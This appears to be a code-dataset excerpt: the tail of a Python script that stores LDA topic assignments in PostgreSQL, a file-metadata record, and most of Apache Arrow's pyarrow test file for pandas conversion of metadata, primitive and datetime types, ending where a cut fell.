lm.save('/Users/jaideepsingh/Projects/yanrin/lm2016Jan.ldamodel') if load_model: lm = LdaModel.load('/Users/jaideepsingh/Projects/yanrin/lm2016Jan.ldamodel') print('finished!') try: conn = psycopg2.connect("dbname=jaideepsingh user=jaideepsingh") cur = conn.cursor() for doc_id in range(doc_len): topics = get_doc_topics(doc, lm, dictionary, doc_id) print(topics) print('docid:',doc_id) print('mapping:',doc2id_mapping[doc_id]) news_id = doc2id_mapping[doc_id] print('news_id:',news_id) if topics: for topic_name in topics: print('Putting topic',topic_name,'into topics table') insert_into_relevant_topic(cur, topic_name, news_id, date) conn.commit() cur.close() conn.close() print('db closed') except (Exception, psycopg2.DatabaseError) as error: print(error) finally: if conn is not None: conn.close() if __name__ == '__main__': main()

37.169082

118

0.661944

4a07c6f5fda6ab717d55307d3d3c68b196c81732

123,870

py

Python

python/pyarrow/tests/test_pandas.py

jsternberg/arrow

a241cf60d1a5d485a95dfe95bbdc5bdcaadfd213

[ "Apache-2.0" ]

null

python/pyarrow/tests/test_pandas.py

jsternberg/arrow

a241cf60d1a5d485a95dfe95bbdc5bdcaadfd213

[ "Apache-2.0" ]

null

python/pyarrow/tests/test_pandas.py

jsternberg/arrow

a241cf60d1a5d485a95dfe95bbdc5bdcaadfd213

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import gc import six import decimal import json import multiprocessing as mp import sys from collections import OrderedDict from datetime import date, datetime, time, timedelta from distutils.version import LooseVersion import hypothesis as h import hypothesis.extra.pytz as tzst import hypothesis.strategies as st import numpy as np import numpy.testing as npt import pytest import pytz from pyarrow.pandas_compat import get_logical_type, _pandas_api from pyarrow.tests.util import random_ascii import pyarrow as pa try: import pandas as pd import pandas.util.testing as tm from .pandas_examples import dataframe_with_arrays, dataframe_with_lists except ImportError: pass # Marks all of the tests in this module pytestmark = pytest.mark.pandas def _alltypes_example(size=100): return pd.DataFrame({ 'uint8': np.arange(size, dtype=np.uint8), 'uint16': np.arange(size, dtype=np.uint16), 'uint32': np.arange(size, dtype=np.uint32), 'uint64': np.arange(size, dtype=np.uint64), 'int8': np.arange(size, dtype=np.int16), 'int16': np.arange(size, dtype=np.int16), 'int32': np.arange(size, dtype=np.int32), 'int64': np.arange(size, dtype=np.int64), 'float32': np.arange(size, dtype=np.float32), 'float64': np.arange(size, dtype=np.float64), 'bool': np.random.randn(size) > 0, # TODO(wesm): Pandas only support ns resolution, Arrow supports s, ms, # us, ns 'datetime': np.arange("2016-01-01T00:00:00.001", size, dtype='datetime64[ms]'), 'str': [str(x) for x in range(size)], 'str_with_nulls': [None] + [str(x) for x in range(size - 2)] + [None], 'empty_str': [''] * size }) def _check_pandas_roundtrip(df, expected=None, use_threads=True, expected_schema=None, check_dtype=True, schema=None, preserve_index=False, as_batch=False): klass = pa.RecordBatch if as_batch else pa.Table table = klass.from_pandas(df, schema=schema, preserve_index=preserve_index, nthreads=2 if use_threads else 1) result = table.to_pandas(use_threads=use_threads) if expected_schema: # all occurences of _check_pandas_roundtrip passes expected_schema # without the pandas generated key-value metadata assert table.schema.equals(expected_schema, check_metadata=False) if expected is None: expected = df tm.assert_frame_equal(result, expected, check_dtype=check_dtype, check_index_type=('equiv' if preserve_index else False)) def _check_series_roundtrip(s, type_=None, expected_pa_type=None): arr = pa.array(s, from_pandas=True, type=type_) if type_ is not None and expected_pa_type is None: expected_pa_type = type_ if expected_pa_type is not None: assert arr.type == expected_pa_type result = pd.Series(arr.to_pandas(), name=s.name) tm.assert_series_equal(s, result) def _check_array_roundtrip(values, expected=None, mask=None, type=None): arr = pa.array(values, from_pandas=True, mask=mask, type=type) result = arr.to_pandas() values_nulls = pd.isnull(values) if mask is None: assert arr.null_count == values_nulls.sum() else: assert arr.null_count == (mask | values_nulls).sum() if expected is None: if mask is None: expected = pd.Series(values) else: expected = pd.Series(np.ma.masked_array(values, mask=mask)) tm.assert_series_equal(pd.Series(result), expected, check_names=False) def _check_array_from_pandas_roundtrip(np_array, type=None): arr = pa.array(np_array, from_pandas=True, type=type) result = arr.to_pandas() npt.assert_array_equal(result, np_array) class TestConvertMetadata(object): """ Conversion tests for Pandas metadata & indices. """ def test_non_string_columns(self): df = pd.DataFrame({0: [1, 2, 3]}) table = pa.Table.from_pandas(df) assert table.field(0).name == '0' def test_from_pandas_with_columns(self): df = pd.DataFrame({0: [1, 2, 3], 1: [1, 3, 3], 2: [2, 4, 5]}, columns=[1, 0]) table = pa.Table.from_pandas(df, columns=[0, 1]) expected = pa.Table.from_pandas(df[[0, 1]]) assert expected.equals(table) record_batch_table = pa.RecordBatch.from_pandas(df, columns=[0, 1]) record_batch_expected = pa.RecordBatch.from_pandas(df[[0, 1]]) assert record_batch_expected.equals(record_batch_table) def test_column_index_names_are_preserved(self): df = pd.DataFrame({'data': [1, 2, 3]}) df.columns.names = ['a'] _check_pandas_roundtrip(df, preserve_index=True) def test_range_index_shortcut(self): # ARROW-1639 index_name = 'foo' df = pd.DataFrame({'a': [1, 2, 3, 4]}, index=pd.RangeIndex(0, 8, step=2, name=index_name)) df2 = pd.DataFrame({'a': [4, 5, 6, 7]}, index=pd.RangeIndex(0, 4)) table = pa.Table.from_pandas(df) table_no_index_name = pa.Table.from_pandas(df2) # The RangeIndex is tracked in the metadata only assert len(table.schema) == 1 result = table.to_pandas() tm.assert_frame_equal(result, df) assert isinstance(result.index, pd.RangeIndex) assert _pandas_api.get_rangeindex_attribute(result.index, 'step') == 2 assert result.index.name == index_name result2 = table_no_index_name.to_pandas() tm.assert_frame_equal(result2, df2) assert isinstance(result2.index, pd.RangeIndex) assert _pandas_api.get_rangeindex_attribute(result2.index, 'step') == 1 assert result2.index.name is None def test_range_index_force_serialization(self): # ARROW-5427: preserve_index=True will force the RangeIndex to # be serialized as a column rather than tracked more # efficiently as metadata df = pd.DataFrame({'a': [1, 2, 3, 4]}, index=pd.RangeIndex(0, 8, step=2, name='foo')) table = pa.Table.from_pandas(df, preserve_index=True) assert table.num_columns == 2 assert 'foo' in table.column_names restored = table.to_pandas() tm.assert_frame_equal(restored, df) def test_rangeindex_doesnt_warn(self): # ARROW-5606: pandas 0.25 deprecated private _start/stop/step # attributes -> can be removed if support < pd 0.25 is dropped df = pd.DataFrame(np.random.randn(4, 2), columns=['a', 'b']) with pytest.warns(None) as record: _check_pandas_roundtrip(df, preserve_index=True) assert len(record) == 0 def test_multiindex_columns(self): columns = pd.MultiIndex.from_arrays([ ['one', 'two'], ['X', 'Y'] ]) df = pd.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')], columns=columns) _check_pandas_roundtrip(df, preserve_index=True) def test_multiindex_columns_with_dtypes(self): columns = pd.MultiIndex.from_arrays( [ ['one', 'two'], pd.DatetimeIndex(['2017-08-01', '2017-08-02']), ], names=['level_1', 'level_2'], ) df = pd.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')], columns=columns) _check_pandas_roundtrip(df, preserve_index=True) def test_multiindex_with_datetimes(self): # ARROW-3651. This bug occurred only when the dtype of the columns is # object. It does not occur for datetime64[ns] df = pd.DataFrame(1, index=pd.Index(list(range(5)), name='index'), columns=pd.Index([datetime(2018, 1, 1)], dtype='O')) assert df.columns.dtype == 'object' reconstructed = pa.table(df).to_pandas() # The reconstruction process results in object->datetime64[ns] df_expected = df.copy() df_expected.columns = df.columns.values assert df_expected.columns.dtype == 'datetime64[ns]' tm.assert_frame_equal(df_expected, reconstructed) def test_multiindex_columns_unicode(self): columns = pd.MultiIndex.from_arrays([[u'あ', u'い'], ['X', 'Y']]) df = pd.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')], columns=columns) _check_pandas_roundtrip(df, preserve_index=True) def test_multiindex_doesnt_warn(self): # ARROW-3953: pandas 0.24 rename of MultiIndex labels to codes columns = pd.MultiIndex.from_arrays([['one', 'two'], ['X', 'Y']]) df = pd.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')], columns=columns) with pytest.warns(None) as record: _check_pandas_roundtrip(df, preserve_index=True) assert len(record) == 0 def test_integer_index_column(self): df = pd.DataFrame([(1, 'a'), (2, 'b'), (3, 'c')]) _check_pandas_roundtrip(df, preserve_index=True) def test_index_metadata_field_name(self): # test None case, and strangely named non-index columns df = pd.DataFrame( [(1, 'a', 3.1), (2, 'b', 2.2), (3, 'c', 1.3)], index=pd.MultiIndex.from_arrays( [['c', 'b', 'a'], [3, 2, 1]], names=[None, 'foo'] ), columns=['a', None, '__index_level_0__'], ) with pytest.warns(UserWarning): t = pa.Table.from_pandas(df, preserve_index=True) js = t.schema.pandas_metadata col1, col2, col3, idx0, foo = js['columns'] assert col1['name'] == 'a' assert col1['name'] == col1['field_name'] assert col2['name'] is None assert col2['field_name'] == 'None' assert col3['name'] == '__index_level_0__' assert col3['name'] == col3['field_name'] idx0_descr, foo_descr = js['index_columns'] assert idx0_descr == '__index_level_0__' assert idx0['field_name'] == idx0_descr assert idx0['name'] is None assert foo_descr == 'foo' assert foo['field_name'] == foo_descr assert foo['name'] == foo_descr def test_categorical_column_index(self): df = pd.DataFrame( [(1, 'a', 2.0), (2, 'b', 3.0), (3, 'c', 4.0)], columns=pd.Index(list('def'), dtype='category') ) t = pa.Table.from_pandas(df, preserve_index=True) js = t.schema.pandas_metadata column_indexes, = js['column_indexes'] assert column_indexes['name'] is None assert column_indexes['pandas_type'] == 'categorical' assert column_indexes['numpy_type'] == 'int8' md = column_indexes['metadata'] assert md['num_categories'] == 3 assert md['ordered'] is False def test_string_column_index(self): df = pd.DataFrame( [(1, 'a', 2.0), (2, 'b', 3.0), (3, 'c', 4.0)], columns=pd.Index(list('def'), name='stringz') ) t = pa.Table.from_pandas(df, preserve_index=True) js = t.schema.pandas_metadata column_indexes, = js['column_indexes'] assert column_indexes['name'] == 'stringz' assert column_indexes['name'] == column_indexes['field_name'] assert column_indexes['numpy_type'] == 'object' assert column_indexes['pandas_type'] == ( 'bytes' if six.PY2 else 'unicode' ) md = column_indexes['metadata'] if not six.PY2: assert len(md) == 1 assert md['encoding'] == 'UTF-8' else: assert md is None or 'encoding' not in md def test_datetimetz_column_index(self): df = pd.DataFrame( [(1, 'a', 2.0), (2, 'b', 3.0), (3, 'c', 4.0)], columns=pd.date_range( start='2017-01-01', periods=3, tz='America/New_York' ) ) t = pa.Table.from_pandas(df, preserve_index=True) js = t.schema.pandas_metadata column_indexes, = js['column_indexes'] assert column_indexes['name'] is None assert column_indexes['pandas_type'] == 'datetimetz' assert column_indexes['numpy_type'] == 'datetime64[ns]' md = column_indexes['metadata'] assert md['timezone'] == 'America/New_York' def test_datetimetz_row_index(self): df = pd.DataFrame({ 'a': pd.date_range( start='2017-01-01', periods=3, tz='America/New_York' ) }) df = df.set_index('a') _check_pandas_roundtrip(df, preserve_index=True) def test_categorical_row_index(self): df = pd.DataFrame({'a': [1, 2, 3], 'b': [1, 2, 3]}) df['a'] = df.a.astype('category') df = df.set_index('a') _check_pandas_roundtrip(df, preserve_index=True) def test_duplicate_column_names_does_not_crash(self): df = pd.DataFrame([(1, 'a'), (2, 'b')], columns=list('aa')) with pytest.raises(ValueError): pa.Table.from_pandas(df) def test_dictionary_indices_boundscheck(self): # ARROW-1658. No validation of indices leads to segfaults in pandas indices = [[0, 1], [0, -1]] for inds in indices: arr = pa.DictionaryArray.from_arrays(inds, ['a'], safe=False) batch = pa.RecordBatch.from_arrays([arr], ['foo']) table = pa.Table.from_batches([batch, batch, batch]) with pytest.raises(pa.ArrowInvalid): arr.to_pandas() with pytest.raises(pa.ArrowInvalid): table.to_pandas() def test_unicode_with_unicode_column_and_index(self): df = pd.DataFrame({u'あ': [u'い']}, index=[u'う']) _check_pandas_roundtrip(df, preserve_index=True) def test_mixed_column_names(self): # mixed type column names are not reconstructed exactly df = pd.DataFrame({'a': [1, 2], 'b': [3, 4]}) for cols in [[u'あ', b'a'], [1, '2'], [1, 1.5]]: df.columns = pd.Index(cols, dtype=object) # assert that the from_pandas raises the warning with pytest.warns(UserWarning): pa.Table.from_pandas(df) expected = df.copy() expected.columns = df.columns.astype(six.text_type) with pytest.warns(UserWarning): _check_pandas_roundtrip(df, expected=expected, preserve_index=True) def test_binary_column_name(self): column_data = [u'い'] key = u'あ'.encode('utf8') data = {key: column_data} df = pd.DataFrame(data) # we can't use _check_pandas_roundtrip here because our metdata # is always decoded as utf8: even if binary goes in, utf8 comes out t = pa.Table.from_pandas(df, preserve_index=True) df2 = t.to_pandas() assert df.values[0] == df2.values[0] assert df.index.values[0] == df2.index.values[0] assert df.columns[0] == key def test_multiindex_duplicate_values(self): num_rows = 3 numbers = list(range(num_rows)) index = pd.MultiIndex.from_arrays( [['foo', 'foo', 'bar'], numbers], names=['foobar', 'some_numbers'], ) df = pd.DataFrame({'numbers': numbers}, index=index) table = pa.Table.from_pandas(df) result_df = table.to_pandas() tm.assert_frame_equal(result_df, df) def test_metadata_with_mixed_types(self): df = pd.DataFrame({'data': [b'some_bytes', u'some_unicode']}) table = pa.Table.from_pandas(df) js = table.schema.pandas_metadata assert 'mixed' not in js data_column = js['columns'][0] assert data_column['pandas_type'] == 'bytes' assert data_column['numpy_type'] == 'object' def test_ignore_metadata(self): df = pd.DataFrame({'a': [1, 2, 3], 'b': ['foo', 'bar', 'baz']}, index=['one', 'two', 'three']) table = pa.Table.from_pandas(df) result = table.to_pandas(ignore_metadata=True) expected = (table.cast(table.schema.remove_metadata()) .to_pandas()) assert result.equals(expected) def test_list_metadata(self): df = pd.DataFrame({'data': [[1], [2, 3, 4], [5] * 7]}) schema = pa.schema([pa.field('data', type=pa.list_(pa.int64()))]) table = pa.Table.from_pandas(df, schema=schema) js = table.schema.pandas_metadata assert 'mixed' not in js data_column = js['columns'][0] assert data_column['pandas_type'] == 'list[int64]' assert data_column['numpy_type'] == 'object' def test_struct_metadata(self): df = pd.DataFrame({'dicts': [{'a': 1, 'b': 2}, {'a': 3, 'b': 4}]}) table = pa.Table.from_pandas(df) pandas_metadata = table.schema.pandas_metadata assert pandas_metadata['columns'][0]['pandas_type'] == 'object' def test_decimal_metadata(self): expected = pd.DataFrame({ 'decimals': [ decimal.Decimal('394092382910493.12341234678'), -decimal.Decimal('314292388910493.12343437128'), ] }) table = pa.Table.from_pandas(expected) js = table.schema.pandas_metadata assert 'mixed' not in js data_column = js['columns'][0] assert data_column['pandas_type'] == 'decimal' assert data_column['numpy_type'] == 'object' assert data_column['metadata'] == {'precision': 26, 'scale': 11} def test_table_column_subset_metadata(self): # ARROW-1883 # non-default index for index in [ pd.Index(['a', 'b', 'c'], name='index'), pd.date_range("2017-01-01", periods=3, tz='Europe/Brussels')]: df = pd.DataFrame({'a': [1, 2, 3], 'b': [.1, .2, .3]}, index=index) table = pa.Table.from_pandas(df) table_subset = table.remove_column(1) result = table_subset.to_pandas() tm.assert_frame_equal(result, df[['a']]) table_subset2 = table_subset.remove_column(1) result = table_subset2.to_pandas() tm.assert_frame_equal(result, df[['a']].reset_index(drop=True)) def test_empty_list_metadata(self): # Create table with array of empty lists, forced to have type # list(string) in pyarrow c1 = [["test"], ["a", "b"], None] c2 = [[], [], []] arrays = OrderedDict([ ('c1', pa.array(c1, type=pa.list_(pa.string()))), ('c2', pa.array(c2, type=pa.list_(pa.string()))), ]) rb = pa.RecordBatch.from_arrays( list(arrays.values()), list(arrays.keys()) ) tbl = pa.Table.from_batches([rb]) # First roundtrip changes schema, because pandas cannot preserve the # type of empty lists df = tbl.to_pandas() tbl2 = pa.Table.from_pandas(df) md2 = tbl2.schema.pandas_metadata # Second roundtrip df2 = tbl2.to_pandas() expected = pd.DataFrame(OrderedDict([('c1', c1), ('c2', c2)])) tm.assert_frame_equal(df2, expected) assert md2['columns'] == [ { 'name': 'c1', 'field_name': 'c1', 'metadata': None, 'numpy_type': 'object', 'pandas_type': 'list[unicode]', }, { 'name': 'c2', 'field_name': 'c2', 'metadata': None, 'numpy_type': 'object', 'pandas_type': 'list[empty]', } ] def test_metadata_pandas_version(self): df = pd.DataFrame({'a': [1, 2, 3], 'b': [1, 2, 3]}) table = pa.Table.from_pandas(df) assert table.schema.pandas_metadata['pandas_version'] is not None class TestConvertPrimitiveTypes(object): """ Conversion tests for primitive (e.g. numeric) types. """ def test_float_no_nulls(self): data = {} fields = [] dtypes = [('f2', pa.float16()), ('f4', pa.float32()), ('f8', pa.float64())] num_values = 100 for numpy_dtype, arrow_dtype in dtypes: values = np.random.randn(num_values) data[numpy_dtype] = values.astype(numpy_dtype) fields.append(pa.field(numpy_dtype, arrow_dtype)) df = pd.DataFrame(data) schema = pa.schema(fields) _check_pandas_roundtrip(df, expected_schema=schema) def test_float_nulls(self): num_values = 100 null_mask = np.random.randint(0, 10, size=num_values) < 3 dtypes = [('f2', pa.float16()), ('f4', pa.float32()), ('f8', pa.float64())] names = ['f2', 'f4', 'f8'] expected_cols = [] arrays = [] fields = [] for name, arrow_dtype in dtypes: values = np.random.randn(num_values).astype(name) arr = pa.array(values, from_pandas=True, mask=null_mask) arrays.append(arr) fields.append(pa.field(name, arrow_dtype)) values[null_mask] = np.nan expected_cols.append(values) ex_frame = pd.DataFrame(dict(zip(names, expected_cols)), columns=names) table = pa.Table.from_arrays(arrays, names) assert table.schema.equals(pa.schema(fields)) result = table.to_pandas() tm.assert_frame_equal(result, ex_frame) def test_float_nulls_to_ints(self): # ARROW-2135 df = pd.DataFrame({"a": [1.0, 2.0, pd.np.NaN]}) schema = pa.schema([pa.field("a", pa.int16(), nullable=True)]) table = pa.Table.from_pandas(df, schema=schema, safe=False) assert table[0].to_pylist() == [1, 2, None] tm.assert_frame_equal(df, table.to_pandas()) def test_float_nulls_to_boolean(self): s = pd.Series([0.0, 1.0, 2.0, None, -3.0]) expected = pd.Series([False, True, True, None, True]) _check_array_roundtrip(s, expected=expected, type=pa.bool_()) def test_series_from_pandas_false_respected(self): # Check that explicit from_pandas=False is respected s = pd.Series([0.0, np.nan]) arr = pa.array(s, from_pandas=False) assert arr.null_count == 0 assert np.isnan(arr[1].as_py()) def test_integer_no_nulls(self): data = OrderedDict() fields = [] numpy_dtypes = [ ('i1', pa.int8()), ('i2', pa.int16()), ('i4', pa.int32()), ('i8', pa.int64()), ('u1', pa.uint8()), ('u2', pa.uint16()), ('u4', pa.uint32()), ('u8', pa.uint64()), ('longlong', pa.int64()), ('ulonglong', pa.uint64()) ] num_values = 100 for dtype, arrow_dtype in numpy_dtypes: info = np.iinfo(dtype) values = np.random.randint(max(info.min, np.iinfo(np.int_).min), min(info.max, np.iinfo(np.int_).max), size=num_values) data[dtype] = values.astype(dtype) fields.append(pa.field(dtype, arrow_dtype)) df = pd.DataFrame(data) schema = pa.schema(fields) _check_pandas_roundtrip(df, expected_schema=schema) def test_all_integer_types(self): # Test all Numpy integer aliases data = OrderedDict() numpy_dtypes = ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8', 'byte', 'ubyte', 'short', 'ushort', 'intc', 'uintc', 'int_', 'uint', 'longlong', 'ulonglong'] for dtype in numpy_dtypes: data[dtype] = np.arange(12, dtype=dtype) df = pd.DataFrame(data) _check_pandas_roundtrip(df) # Do the same with pa.array() # (for some reason, it doesn't use the same code paths at all) for np_arr in data.values(): arr = pa.array(np_arr) assert arr.to_pylist() == np_arr.tolist() def test_integer_byteorder(self): # Byteswapped arrays are not supported yet int_dtypes = ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8'] for dt in int_dtypes: for order in '=<>': data = np.array([1, 2, 42], dtype=order + dt) for np_arr in (data, data[::2]): if data.dtype.isnative: arr = pa.array(data) assert arr.to_pylist() == data.tolist() else: with pytest.raises(NotImplementedError): arr = pa.array(data) def test_integer_with_nulls(self): # pandas requires upcast to float dtype int_dtypes = ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8'] num_values = 100 null_mask = np.random.randint(0, 10, size=num_values) < 3 expected_cols = [] arrays = [] for name in int_dtypes: values = np.random.randint(0, 100, size=num_values) arr = pa.array(values, mask=null_mask) arrays.append(arr) expected = values.astype('f8') expected[null_mask] = np.nan expected_cols.append(expected) ex_frame = pd.DataFrame(dict(zip(int_dtypes, expected_cols)), columns=int_dtypes) table = pa.Table.from_arrays(arrays, int_dtypes) result = table.to_pandas() tm.assert_frame_equal(result, ex_frame) def test_array_from_pandas_type_cast(self): arr = np.arange(10, dtype='int64') target_type = pa.int8() result = pa.array(arr, type=target_type) expected = pa.array(arr.astype('int8')) assert result.equals(expected) def test_boolean_no_nulls(self): num_values = 100 np.random.seed(0) df = pd.DataFrame({'bools': np.random.randn(num_values) > 0}) field = pa.field('bools', pa.bool_()) schema = pa.schema([field]) _check_pandas_roundtrip(df, expected_schema=schema) def test_boolean_nulls(self): # pandas requires upcast to object dtype num_values = 100 np.random.seed(0) mask = np.random.randint(0, 10, size=num_values) < 3 values = np.random.randint(0, 10, size=num_values) < 5 arr = pa.array(values, mask=mask) expected = values.astype(object) expected[mask] = None field = pa.field('bools', pa.bool_()) schema = pa.schema([field]) ex_frame = pd.DataFrame({'bools': expected}) table = pa.Table.from_arrays([arr], ['bools']) assert table.schema.equals(schema) result = table.to_pandas() tm.assert_frame_equal(result, ex_frame) def test_boolean_to_int(self): # test from dtype=bool s = pd.Series([True, True, False, True, True] * 2) expected = pd.Series([1, 1, 0, 1, 1] * 2) _check_array_roundtrip(s, expected=expected, type=pa.int64()) def test_boolean_objects_to_int(self): # test from dtype=object s = pd.Series([True, True, False, True, True] * 2, dtype=object) expected = pd.Series([1, 1, 0, 1, 1] * 2) expected_msg = 'Expected integer, got bool' with pytest.raises(pa.ArrowTypeError, match=expected_msg): _check_array_roundtrip(s, expected=expected, type=pa.int64()) def test_boolean_nulls_to_float(self): # test from dtype=object s = pd.Series([True, True, False, None, True] * 2) expected = pd.Series([1.0, 1.0, 0.0, None, 1.0] * 2) _check_array_roundtrip(s, expected=expected, type=pa.float64()) def test_boolean_multiple_columns(self): # ARROW-6325 (multiple columns resulting in strided conversion) df = pd.DataFrame(np.ones((3, 2), dtype='bool'), columns=['a', 'b']) _check_pandas_roundtrip(df) def test_float_object_nulls(self): arr = np.array([None, 1.5, np.float64(3.5)] * 5, dtype=object) df = pd.DataFrame({'floats': arr}) expected = pd.DataFrame({'floats': pd.to_numeric(arr)}) field = pa.field('floats', pa.float64()) schema = pa.schema([field]) _check_pandas_roundtrip(df, expected=expected, expected_schema=schema) def test_float_with_null_as_integer(self): # ARROW-2298 s = pd.Series([np.nan, 1., 2., np.nan]) types = [pa.int8(), pa.int16(), pa.int32(), pa.int64(), pa.uint8(), pa.uint16(), pa.uint32(), pa.uint64()] for ty in types: result = pa.array(s, type=ty) expected = pa.array([None, 1, 2, None], type=ty) assert result.equals(expected) df = pd.DataFrame({'has_nulls': s}) schema = pa.schema([pa.field('has_nulls', ty)]) result = pa.Table.from_pandas(df, schema=schema, preserve_index=False) assert result[0].chunk(0).equals(expected) def test_int_object_nulls(self): arr = np.array([None, 1, np.int64(3)] * 5, dtype=object) df = pd.DataFrame({'ints': arr}) expected = pd.DataFrame({'ints': pd.to_numeric(arr)}) field = pa.field('ints', pa.int64()) schema = pa.schema([field]) _check_pandas_roundtrip(df, expected=expected, expected_schema=schema) def test_boolean_object_nulls(self): arr = np.array([False, None, True] * 100, dtype=object) df = pd.DataFrame({'bools': arr}) field = pa.field('bools', pa.bool_()) schema = pa.schema([field]) _check_pandas_roundtrip(df, expected_schema=schema) def test_all_nulls_cast_numeric(self): arr = np.array([None], dtype=object) def _check_type(t): a2 = pa.array(arr, type=t) assert a2.type == t assert a2[0].as_py() is None _check_type(pa.int32()) _check_type(pa.float64()) def test_half_floats_from_numpy(self): arr = np.array([1.5, np.nan], dtype=np.float16) a = pa.array(arr, type=pa.float16()) x, y = a.to_pylist() assert isinstance(x, np.float16) assert x == 1.5 assert isinstance(y, np.float16) assert np.isnan(y) a = pa.array(arr, type=pa.float16(), from_pandas=True) x, y = a.to_pylist() assert isinstance(x, np.float16) assert x == 1.5 assert y is None @pytest.mark.parametrize('dtype', ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8']) def test_array_integer_object_nulls_option(dtype): num_values = 100 null_mask = np.random.randint(0, 10, size=num_values) < 3 values = np.random.randint(0, 100, size=num_values, dtype=dtype) array = pa.array(values, mask=null_mask) if null_mask.any(): expected = values.astype('O') expected[null_mask] = None else: expected = values result = array.to_pandas(integer_object_nulls=True) np.testing.assert_equal(result, expected) @pytest.mark.parametrize('dtype', ['i1', 'i2', 'i4', 'i8', 'u1', 'u2', 'u4', 'u8']) def test_table_integer_object_nulls_option(dtype): num_values = 100 null_mask = np.random.randint(0, 10, size=num_values) < 3 values = np.random.randint(0, 100, size=num_values, dtype=dtype) array = pa.array(values, mask=null_mask) if null_mask.any(): expected = values.astype('O') expected[null_mask] = None else: expected = values expected = pd.DataFrame({dtype: expected}) table = pa.Table.from_arrays([array], [dtype]) result = table.to_pandas(integer_object_nulls=True) tm.assert_frame_equal(result, expected) class TestConvertDateTimeLikeTypes(object): """ Conversion tests for datetime- and timestamp-like types (date64, etc.). """ def test_timestamps_notimezone_no_nulls(self): df = pd.DataFrame({ 'datetime64': np.array([ '2007-07-13T01:23:34.123456789', '2006-01-13T12:34:56.432539784', '2010-08-13T05:46:57.437699912'], dtype='datetime64[ns]') }) field = pa.field('datetime64', pa.timestamp('ns')) schema = pa.schema([field]) _check_pandas_roundtrip( df, expected_schema=schema, ) def test_timestamps_notimezone_nulls(self): df = pd.DataFrame({ 'datetime64': np.array([ '2007-07-13T01:23:34.123456789', None, '2010-08-13T05:46:57.437699912'], dtype='datetime64[ns]') }) field = pa.field('datetime64', pa.timestamp('ns')) schema = pa.schema([field]) _check_pandas_roundtrip( df, expected_schema=schema, ) def test_timestamps_with_timezone(self): df = pd.DataFrame({ 'datetime64': np.array([ '2007-07-13T01:23:34.123', '2006-01-13T12:34:56.432', '2010-08-13T05:46:57.437'], dtype='datetime64[ms]') }) df['datetime64'] = df['datetime64'].dt.tz_localize('US/Eastern') _check_pandas_roundtrip(df) _check_series_roundtrip(df['datetime64']) # drop-in a null and ns instead of ms df = pd.DataFrame({ 'datetime64': np.array([ '2007-07-13T01:23:34.123456789', None, '2006-01-13T12:34:56.432539784', '2010-08-13T05:46:57.437699912'], dtype='datetime64[ns]') }) df['datetime64'] = df['datetime64'].dt.tz_localize('US/Eastern') _check_pandas_roundtrip(df) def test_python_datetime(self): # ARROW-2106 date_array = [datetime.today() + timedelta(days=x) for x in range(10)] df = pd.DataFrame({ 'datetime': pd.Series(date_array, dtype=object) }) table = pa.Table.from_pandas(df) assert isinstance(table[0].chunk(0), pa.TimestampArray) result = table.to_pandas() expected_df = pd.DataFrame({ 'datetime': date_array }) tm.assert_frame_equal(expected_df, result) def test_python_datetime_with_pytz_tzinfo(self): for tz in [pytz.utc, pytz.timezone('US/Eastern'), pytz.FixedOffset(1)]: values = [datetime(2018, 1, 1, 12, 23, 45, tzinfo=tz)] df = pd.DataFrame({'datetime': values}) _check_pandas_roundtrip(df) @h.given(st.none() | tzst.timezones()) def test_python_datetime_with_pytz_timezone(self, tz): values = [datetime(2018, 1, 1, 12, 23, 45, tzinfo=tz)] df = pd.DataFrame({'datetime': values}) _check_pandas_roundtrip(df) @pytest.mark.skipif(six.PY2, reason='datetime.timezone is available since ' 'python version 3.2') def test_python_datetime_with_timezone_tzinfo(self): from datetime import timezone values = [datetime(2018, 1, 1, 12, 23, 45, tzinfo=pytz.utc)] df = pd.DataFrame({'datetime': values}) _check_pandas_roundtrip(df) # datetime.timezone is going to be pytz.FixedOffset hours = 1 tz_timezone = timezone(timedelta(hours=hours)) tz_pytz = pytz.FixedOffset(hours * 60) values = [datetime(2018, 1, 1, 12, 23, 45, tzinfo=tz_timezone)] values_exp = [datetime(2018, 1, 1, 12, 23, 45, tzinfo=tz_pytz)] df = pd.DataFrame({'datetime': values}) df_exp = pd.DataFrame({'datetime': values_exp}) _check_pandas_roundtrip(df, expected=df_exp) def test_python_datetime_subclass(self): class MyDatetime(datetime): # see https://github.com/pandas-dev/pandas/issues/21142 nanosecond = 0.0 date_array = [MyDatetime(2000, 1, 1, 1, 1, 1)] df = pd.DataFrame({"datetime": pd.Series(date_array, dtype=object)}) table = pa.Table.from_pandas(df) assert isinstance(table[0].chunk(0), pa.TimestampArray) result = table.to_pandas() expected_df = pd.DataFrame({"datetime": date_array}) # https://github.com/pandas-dev/pandas/issues/21142 expected_df["datetime"] = pd.to_datetime(expected_df["datetime"]) tm.assert_frame_equal(expected_df, result) def test_python_date_subclass(self): class MyDate(date): pass date_array = [MyDate(2000, 1, 1)] df = pd.DataFrame({"date": pd.Series(date_array, dtype=object)}) table = pa.Table.from_pandas(df) assert isinstance(table[0].chunk(0), pa.Date32Array) result = table.to_pandas() expected_df = pd.DataFrame( {"date": np.array([date(2000, 1, 1)], dtype=object)} ) tm.assert_frame_equal(expected_df, result) def test_datetime64_to_date32(self): # ARROW-1718 arr = pa.array([date(2017, 10, 23), None]) c = pa.chunked_array([arr]) s = c.to_pandas() arr2 = pa.Array.from_pandas(s, type=pa.date32()) assert arr2.equals(arr.cast('date32')) @pytest.mark.parametrize('mask', [ None, np.array([True, False, False]), ]) def 